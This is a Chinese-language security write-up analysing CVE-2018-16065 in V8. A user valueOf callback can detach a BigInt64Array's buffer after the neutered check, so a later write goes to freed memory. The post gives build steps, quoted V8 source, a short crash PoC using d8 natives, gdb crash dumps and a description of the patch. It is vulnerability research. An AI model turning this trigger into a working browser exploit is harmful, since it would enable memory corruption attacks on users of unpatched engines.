CVE-2018-16065 in V8 EmitBigTypedArrayElementStore 分析

 

一、前言

CVE-2018-16065 是 v8 中 EmitBigTypedArrayElementStore 函数内部的一个漏洞。该漏洞在检查相应 ArrayBuffer 是否被 Detach(即是否是neutered)之后,执行了一个带有副作用的(即可调用用户 JS callback 代码的) ToBigInt 函数。而用户可在对应回调函数中将原先通过上述检查的 BigIntArray (即不是 neutered 的 TypedArray)重新变成 neutered

这将使一部分数据被非法写入至一块已经 Detached 的 ArrayBuffer上。如果 GC 试图回收该 ArrayBuffer 的 backing store ,则会触发 CRASH。

 

二、环境搭建

切换 v8 版本,然后编译:

git checkout 6.8.275.24
gclient sync
tools/dev/gm.py x64.debug

 

三、漏洞细节

在执行 JS 代码 BigInt64Array.of 函数时,v8 将调用以下 Builtin_TypedArrayOf函数:

// ES6 #sec-%typedarray%.of
TF_BUILTIN(TypedArrayOf, TypedArrayBuiltinsAssembler) {
  TNode<Context> context = CAST(Parameter(BuiltinDescriptor::kContext));
  [...]
  DispatchTypedArrayByElementsKind(
      elements_kind,
      [&](ElementsKind kind, int size, int typed_array_fun_index) {
        TNode<FixedTypedArrayBase> elements =
            CAST(LoadElements(new_typed_array));
        BuildFastLoop(
            IntPtrConstant(0), length,
            [&](Node* index) {
              TNode<Object> item = args.AtIndex(index, INTPTR_PARAMETERS);
              TNode<IntPtrT> intptr_index = UncheckedCast<IntPtrT>(index);
              // 如果当前的 TypeArray 是 BigIntArray
              if (kind == BIGINT64_ELEMENTS || kind == BIGUINT64_ELEMENTS) {
                // 则剩余操作在 EmitBigTypedArrayElementStore 函数内部完成
                EmitBigTypedArrayElementStore(new_typed_array, elements,
                                              intptr_index, item, context,
                                              &if_neutered);
              } else {
                [...]
              },
            1, ParameterMode::INTPTR_PARAMETERS, IndexAdvanceMode::kPost);
      });
  [...]
}

对于 BigIntArray 这类 TypedArray,v8 将在该函数中继续调用 EmitBigTypedArrayElementStore 函数,并在其中完成剩余的操作。

EmitBigTypedArrayElementStore 函数较为简单,先看看源码:

void CodeStubAssembler::EmitBigTypedArrayElementStore(
    TNode<JSTypedArray> object, TNode<FixedTypedArrayBase> elements,
    TNode<IntPtrT> intptr_key, TNode<Object> value, TNode<Context> context,
    Label* opt_if_neutered) {
  if (opt_if_neutered != nullptr) {
    // Check if buffer has been neutered.
    Node* buffer = LoadObjectField(object, JSArrayBufferView::kBufferOffset);
    GotoIf(IsDetachedBuffer(buffer), opt_if_neutered);
  }
  // 获取 BigInt,其中 ToBigInt 函数会调用 JS 中的 [Object.valueOf] 函数
  TNode<BigInt> bigint_value = ToBigInt(context, value);
  TNode<RawPtrT> backing_store = LoadFixedTypedArrayBackingStore(elements);
  TNode<IntPtrT> offset = ElementOffsetFromIndex(intptr_key, BIGINT64_ELEMENTS,
                                                 INTPTR_PARAMETERS, 0);
  EmitBigTypedArrayElementStore(elements, backing_store, offset, bigint_value);
}

我们可以很容易的发现,如果 BigIntArray 的 ArrayBuffer 是 neutered 的,那么就直接跳到指定的 Label 处进行异常处理,不会再继续向下执行,也就是说 不会再将 elements 写入至 backing_store

ToBigInt 函数有点特殊,它将调用 Object.valueOf 属性的函数来获取值,而这个函数是可以被用户定义的。如果我们在该函数中,将当前 BigIntArray 的 ArrayBuffer 设置为 neutered ,那么下面执行写入操作时,数据写入的位置将是刚刚被 detach 的 ArrayBuffer 中。这是一步非法操作,如果 GC 试图回收该 ArrayBuffer 的 backing store ,那么这将使 GC 触发崩溃。

这里需要说明一下 neutered 的含义。即什么样的 ArrayBuffer 将会被视为 neutered 的?如何设置某个 Array 为 neutered ?

通过查阅 v8 docs ,我们可以简单了解到,Neuter 这个操作,会将 Buffer 和所有 typed Array 的长度设置为0,从而防止JavaScript访问底层 backing_store。

我们再来看一下 v8 中的一个 Runtime 函数:ArrayBufferNeuter:

RUNTIME_FUNCTION(Runtime_ArrayBufferNeuter) {
  HandleScope scope(isolate);
  DCHECK_EQ(1, args.length());
  Handle<Object> argument = args.at(0);
  // This runtime function is exposed in ClusterFuzz and as such has to
  // support arbitrary arguments.
  // 该函数只对 ArrayBuffer 类型的参数效果,若传入其他类型则引出异常
  if (!argument->IsJSArrayBuffer()) {
    THROW_NEW_ERROR_RETURN_FAILURE(
        isolate, NewTypeError(MessageTemplate::kNotTypedArray));
  }
  Handle<JSArrayBuffer> array_buffer = Handle<JSArrayBuffer>::cast(argument);
  // 如果当前 ArrayBuffer 不可被设置为 neuter,则不用继续执行下去,直接返回
  if (!array_buffer->is_neuterable()) {
    return isolate->heap()->undefined_value();
  }
  // 如果该 ArrayBuffer 的 backing_store 为空,检查 arraybuffer 的 length 是否为0。这一步是检查当前 ArrayBuffer 是否已经是 neutered 的。
  if (array_buffer->backing_store() == nullptr) {
    CHECK_EQ(Smi::kZero, array_buffer->byte_length());
    return isolate->heap()->undefined_value();
  }
  // Shared array buffers should never be neutered.
  CHECK(!array_buffer->is_shared());
  DCHECK(!array_buffer->is_external());
  // 准备开始 neuter 了,先获取 backing_store 指针和当前 ArrayBuffer 的长度
  void* backing_store = array_buffer->backing_store();
  size_t byte_length = NumberToSize(array_buffer->byte_length());
  array_buffer->set_is_external(true);
  // 将当前 ArrayBuffer 从ArrayBufferTracker中移除
  isolate->heap()->UnregisterArrayBuffer(*array_buffer);
  // 开始执行 neuter 操作
  array_buffer->Neuter();
  // 将backing_store占用的内存空间释放
  isolate->array_buffer_allocator()->Free(backing_store, byte_length);
  return isolate->heap()->undefined_value();
}
void JSArrayBuffer::Neuter() {
  CHECK(is_neuterable());
  CHECK(!was_neutered());
  CHECK(is_external());
  // 将当前 backing store 移除
  set_backing_store(nullptr);
  // 设置当前 length 为 0
  set_byte_length(Smi::kZero);
  set_was_neutered(true);
  set_is_neuterable(false);
  // Invalidate the neutering protector.
  Isolate* const isolate = GetIsolate();
  if (isolate->IsArrayBufferNeuteringIntact()) {
    isolate->InvalidateArrayBufferNeuteringProtector();
  }
}

简单读一下源码,我们也可以很容易的发现,ArrayBuffer 的 neuter 操作 就是删除 ArrayBuffer 中的 backing store 并重置其 length 字段。

综上所述,neuter 的具体操作已经非常明确了,如果不明确的话还可以使用 %DebugPrint 比较一下 neuter 前后的差异。

接下来我们看看 Poc。

 

四、PoC

POC 如下:

// flags: --allow-natives-syntax --expose-gc

var array = new BigInt64Array(11);
// constructor 返回数组
function constructor() { return array };

function evil_callback() {
  print("callback");
  %ArrayBufferNeuter(array.buffer);
  gc();
  return 0xdeadbeefn;
}

var evil_object = {valueOf: evil_callback}

var root = BigInt64Array.of.call(
  constructor,
  evil_object
)

gc(); // trigger

分析上面的 POC,可以理出一条这样的漏洞触发过程:

  • 首先执行 BigInt64Array.of.call ,其中 多调用了一个 call 是为了使 constructor 函数和 设置的 element 都可以操作同一个 array。
  • 初始时, array 的 backing_store 存在,因此将绕过 v8 EmitBigTypedArrayElementStore 函数中的 ArrayBuffer neutered 检查,进入 ToBigInt 函数。
  • ToBigInt 函数将会获取传入 element 的值,因此便会调用 evil_object.valueOf 函数,即调用 evil_callback JS 函数。
  • 该函数将执行 v8 Runtime 函数 %ArrayBufferNeuter,释放 array 中 ArrayBuffer 的 backing_store。
  • 完成以上操作后,v8 EmitBigTypedArrayElementStore 函数中的 ToBigInt 函数将返回,此时继续执行,试图将 element 写入之前保存的 backing_store 里。
  • 由于该 ArrayBuffer 已经被 detached,因此这样的写入将修改该 backing_store 上的一些用于 GC 的元数据,使最后在执行 GC 时触发崩溃。

将值写入至 Detached ArrayBuffer 时,因为其 heap chunk 仍然是 allocated 的,因此不存在 UaF。

gdb 可能的两种崩溃输出如下:

第一种

pwndbg> r
Starting program: /usr/class/v8/v8/out/x64.debug/d8 --allow-natives-syntax --expose-gc test.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7fe86accc700 (LWP 84765)]
[New Thread 0x7fe86a4cb700 (LWP 84766)]
[New Thread 0x7fe869cca700 (LWP 84767)]
[New Thread 0x7fe8694c9700 (LWP 84768)]
[New Thread 0x7fe868cc8700 (LWP 84769)]
[New Thread 0x7fe8684c7700 (LWP 84770)]
[New Thread 0x7fe867cc6700 (LWP 84771)]
callback

Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
tcache_get (tc_idx=4) at malloc.c:2951
2951      --(tcache->counts[tc_idx]);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────
 RAX  0x5606a95b6030 ◂— 0x10000
 RBX  0x4
 RCX  0x5606a95b6018 ◂— 0x10001
 RDX  0x0
 RDI  0x58
 RSI  0x7ffe89539b58 —▸ 0x5606a95d2ef0 —▸ 0x7ffe8953ba10 ◂— 0x5606a95d2ef0
 R8   0xdeadbeef
 R9   0x7ffe89539b6c ◂— 0x89539df800000002
 R10  0x58
 R11  0x58
 R12  0xffffffffffffffa8
 R13  0x5606a95d2fb8 —▸ 0x283c80e82ba9 ◂— 0x283c80e822
 R14  0x5
 R15  0x7ffe8953ab08 —▸ 0x354172782e39 ◂— 0xb1000005ceeae0ae
 RBP  0x58
 RSP  0x7ffe89539990 —▸ 0x7fe86cf8d220 ◂— push   rbp
 RIP  0x7fe86b7227be (malloc+286) ◂— mov    rsi, qword ptr [r8]
───────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────
 ► 0x7fe86b7227be <malloc+286>    mov    rsi, qword ptr [r8]
   0x7fe86b7227c1 <malloc+289>    mov    qword ptr [rax + 0x80], rsi
   0x7fe86b7227c8 <malloc+296>    mov    word ptr [rcx], dx
   0x7fe86b7227cb <malloc+299>    mov    qword ptr [r8 + 8], 0
   0x7fe86b7227d3 <malloc+307>    jmp    malloc+184 <malloc+184>
    ↓
   0x7fe86b722758 <malloc+184>    pop    rbx
   0x7fe86b722759 <malloc+185>    mov    rax, r8
   0x7fe86b72275c <malloc+188>    pop    rbp
   0x7fe86b72275d <malloc+189>    pop    r12
   0x7fe86b72275f <malloc+191>    ret    

   0x7fe86b722760 <malloc+192>    and    rax, 0xfffffffffffffff0
───────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────
In file: /build/glibc-TrjWJf/glibc-2.29/malloc/malloc.c
   2946 {
   2947   tcache_entry *e = tcache->entries[tc_idx];
   2948   assert (tc_idx < TCACHE_MAX_BINS);
   2949   assert (tcache->entries[tc_idx] > 0);
   2950   tcache->entries[tc_idx] = e->next;
 ► 2951   --(tcache->counts[tc_idx]);
   2952   e->key = NULL;
   2953   return (void *) e;
   2954 }
   2955 
   2956 static void
───────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7ffe89539990 —▸ 0x7fe86cf8d220 ◂— push   rbp
01:0008│      0x7ffe89539998 —▸ 0x7ffe895399e0 —▸ 0x7ffe89539aa0 —▸ 0x7ffe89539de0 —▸ 0x7ffe89539e00 ◂— ...
02:0010│      0x7ffe895399a0 ◂— 0xffffffffffffffff
03:0018│      0x7ffe895399a8 —▸ 0x7fe86bb459d8 ◂— mov    qword ptr [rbp - 0x10], rax
04:0020│      0x7ffe895399b0 ◂— 0x2a100
05:0028│      0x7ffe895399b8 —▸ 0x5606a962c3d0 ◂— 0x0
06:0030│      0x7ffe895399c0 —▸ 0x5606a962c370 ◂— 0x0
07:0038│      0x7ffe895399c8 —▸ 0x5606a962d3f0 —▸ 0x7fe86e241580 —▸ 0x7fe86d76e780 (v8::internal::CodeSpace::~CodeSpace()) ◂— push   rbp
─────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────
 ► f 0     7fe86b7227be malloc+286
   f 1     7fe86b7227be malloc+286
   f 2     7fe86bb459d8
   f 3     7fe86d823957
   f 4     7fe86d8209a1
   f 5     7fe86d8168de
   f 6     7fe86d816309 v8::internal::Sweeper::StartSweeperTasks()+857
   f 7     7fe86d7932b7 v8::internal::MarkCompactCollector::Finish()+343
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

第二种

pwndbg> r
Starting program: /usr/class/v8/v8/out/x64.debug/d8 --allow-natives-syntax --expose-gc test.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f1802341700 (LWP 87692)]
[New Thread 0x7f1801b40700 (LWP 87693)]
[New Thread 0x7f180133f700 (LWP 87694)]
[New Thread 0x7f1800b3e700 (LWP 87695)]
[New Thread 0x7f180033d700 (LWP 87696)]
[New Thread 0x7f17ffb3c700 (LWP 87697)]
[New Thread 0x7f17ff33b700 (LWP 87698)]
callback

Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
0x00007f180468f76b in std::__1::__hash_table<std::__1::__hash_value_type<unsigned long, v8::internal::Cancelable*>, std::__1::__unordered_map_hasher<unsigned long, std::__1::__hash_value_type<unsigned long, v8::internal::Cancelable*>, std::__1::hash<unsigned long>, true>, std::__1::__unordered_map_equal<unsigned long, std::__1::__hash_value_type<unsigned long, v8::internal::Cancelable*>, std::__1::equal_to<unsigned long>, true>, std::__1::allocator<std::__1::__hash_value_type<unsigned long, v8::internal::Cancelable*> > >::__emplace_unique_key_args<unsigned long, std::__1::piecewise_construct_t const&, std::__1::tuple<unsigned long const&>, std::__1::tuple<> >(unsigned long const&, std::__1::piecewise_construct_t const&, std::__1::tuple<unsigned long const&>&&, std::__1::tuple<>&&) (this=0x559480f98fc8, __k=@0x7ffd622fe4c8: 22, __args=..., __args=..., __args=...) at ../../buildtools/third_party/libc++/trunk/include/__hash_table:2010       
2010                for (__nd = __nd->__next_; __nd != nullptr &&
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────
 RAX  0xdeadbeef
 RBX  0x7f1804602220 ◂— push   rbp
 RCX  0x559480f98fc8 —▸ 0x559480ff5c50 ◂— 0xdeadbeef
 RDX  0x0
 RDI  0x7ffd622fe4c8 ◂— 0x16
 RSI  0x16
 R8   0x559480f99020 ◂— 0x1
 R9   0x10
 R10  0x0
 R11  0x7f1802ecaca0 (main_arena+96) —▸ 0x559481034310 ◂— 0x0
 R12  0xffffffffffffffff
 R13  0x559480f8efb8 —▸ 0xba4cbf82ba9 ◂— 0xba4cbf822
 R14  0x5
 R15  0x7ffd622ffc08 —▸ 0x1d3adb982e39 ◂— 0xb10000254d0fb8ae
 RBP  0x7ffd622fe480 —▸ 0x7ffd622fe560 —▸ 0x7ffd622fe590 —▸ 0x7ffd622fe5c0 —▸ 0x7ffd622fe5f0 ◂— ...
 RSP  0x7ffd622fdd60 —▸ 0x7ffd622fdf90 ◂— 0x0
 RIP  0x7f180468f76b ◂— mov    rax, qword ptr [rax]
───────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────
 ► 0x7f180468f76b    mov    rax, qword ptr [rax]
   0x7f180468f76e    mov    qword ptr [rbp - 0x598], rax
   0x7f180468f775    xor    eax, eax
   0x7f180468f777    mov    cl, al
   0x7f180468f779    cmp    qword ptr [rbp - 0x598], 0
   0x7f180468f781    mov    byte ptr [rbp - 0x689], cl
   0x7f180468f787    je     0x7f180468f88e <0x7f180468f88e>
    ↓
   0x7f180468f88e    mov    al, byte ptr [rbp - 0x689]
   0x7f180468f894    test   al, 1
   0x7f180468f896    jne    0x7f180468f8a1 <0x7f180468f8a1>
    ↓
   0x7f180468f8a1    mov    rax, qword ptr [rbp - 0x678]
───────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────
In file: /usr/class/v8/v8/buildtools/third_party/libc++/trunk/include/__hash_table
   2005     {
   2006         __chash = __constrain_hash(__hash, __bc);
   2007         __nd = __bucket_list_[__chash];
   2008         if (__nd != nullptr)
   2009         {
 ► 2010             for (__nd = __nd->__next_; __nd != nullptr &&
   2011                 (__nd->__hash() == __hash || __constrain_hash(__nd->__hash(), __bc) == __chash);
   2012                                                            __nd = __nd->__next_)
   2013             {
   2014                 if (key_eq()(__nd->__upcast()->__value_, __k))
   2015                     goto __done;
───────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7ffd622fdd60 —▸ 0x7ffd622fdf90 ◂— 0x0
01:0008│      0x7ffd622fdd68 —▸ 0x559481012378 —▸ 0x559481012310 —▸ 0x7f18058b3d60 —▸ 0x7f180483bc10 (v8::internal::Sweeper::IncrementalSweeperTask::~IncrementalSweeperTask()) ◂— ...                                                                                          
02:0010│      0x7ffd622fdd70 ◂— 0x0
03:0018│      0x7ffd622fdd78 —▸ 0x7ffd622fe450 —▸ 0x559480f99020 ◂— 0x1
04:0020│      0x7ffd622fdd80 ◂— 9 /* '\t' */
... ↓
06:0030│      0x7ffd622fdd90 —▸ 0x559481012360 —▸ 0x5594810122e0 —▸ 0x559480fd85d0 —▸ 0x559480ff43e0 ◂— ...
07:0038│      0x7ffd622fdd98 —▸ 0x559480fe96d0 —▸ 0x559480fe9700 ◂— 0x0
─────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────
 ► f 0     7f180468f76b
   f 1     7f180468f76b
   f 2     7f180468e086 v8::internal::CancelableTaskManager::Register(v8::internal::Cancelable*)+502
   f 3     7f180468de7a v8::internal::Cancelable::Cancelable(v8::internal::CancelableTaskManager*)+106
   f 4     7f180468f237 v8::internal::CancelableTask::CancelableTask(v8::internal::CancelableTaskManager*)+39
   f 5     7f180468f200 v8::internal::CancelableTask::CancelableTask(v8::internal::Isolate*)+48
   f 6     7f1804d79983
   f 7     7f1804d71c98
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

 

五、后记

该漏洞的补丁非常简单:将调用 ToBigInt 函数的那一行语句,提至条件判断语句之前。这样就可以使 user JS callback 导致的 Neutered 也被 if 条件判断给捕获。

 

六、参考

(完)